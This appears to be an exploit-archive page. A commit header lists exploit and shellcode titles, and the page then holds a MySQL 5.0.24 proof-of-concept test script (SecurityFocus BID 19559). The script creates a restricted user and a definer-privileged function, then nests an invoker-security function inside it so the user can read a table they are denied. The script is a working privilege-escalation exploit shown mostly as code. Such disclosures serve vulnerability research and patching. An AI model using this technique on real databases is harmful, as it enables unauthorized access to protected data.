880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.8 KiB
Text
63 lines
No EOL
1.8 KiB
Text
source: https://www.securityfocus.com/bid/19559/info
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MySQL is prone to these vulnerabilities:
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- A privilege-elevation vulnerability. A user with privileges to execute SUID routines may gain elevated privileges by executing certain commands and code with higher privileges.
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- A security-bypass vulnerability. A user can bypass restrictions and create new databases.
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MySQL 5.0.24 and prior versions are affected by these issues.
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--disable_warnings
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drop database if exists mysqltest1;
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drop database if exists mysqltest2;
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drop function if exists f_suid;
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--enable_warnings
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# Prepare playground
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create database mysqltest1;
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create database mysqltest2;
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create user malory@localhost;
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grant all privileges on mysqltest1.* to malory@localhost;
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# Create harmless (but SUID!) function
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create function f_suid(i int) returns int return 0;
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grant execute on function test.f_suid to malory@localhost;
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use mysqltest2;
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# Create table in which malory@localhost will be interested but to which
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# he won't have any access
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create table t1 (i int);
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connect (malcon, localhost, malory,,mysqltest1);
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# Correct malory@localhost don't have access to mysqltest2.t1
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--error ER_TABLEACCESS_DENIED_ERROR
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select * from mysqltest2.t1;
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# Create function which will allow to exploit security hole
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delimiter |;
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create function f_evil ()
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returns int
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sql security invoker
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begin
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set @a:= current_user();
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set @b:= (select count(*) from mysqltest2.t1);
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return 0;
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end|
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delimiter ;|
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# Again correct
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--error ER_TABLEACCESS_DENIED_ERROR
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select f_evil();
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select @a, @b;
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# Oops!!! it seems that f_evil() is executed in the context of
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# f_suid() definer, so malory@locahost gets all info that he wants
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select test.f_suid(f_evil());
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select @a, @b;
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connection default;
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drop user malory@localhost;
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drop database mysqltest1;
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drop database mysqltest2; |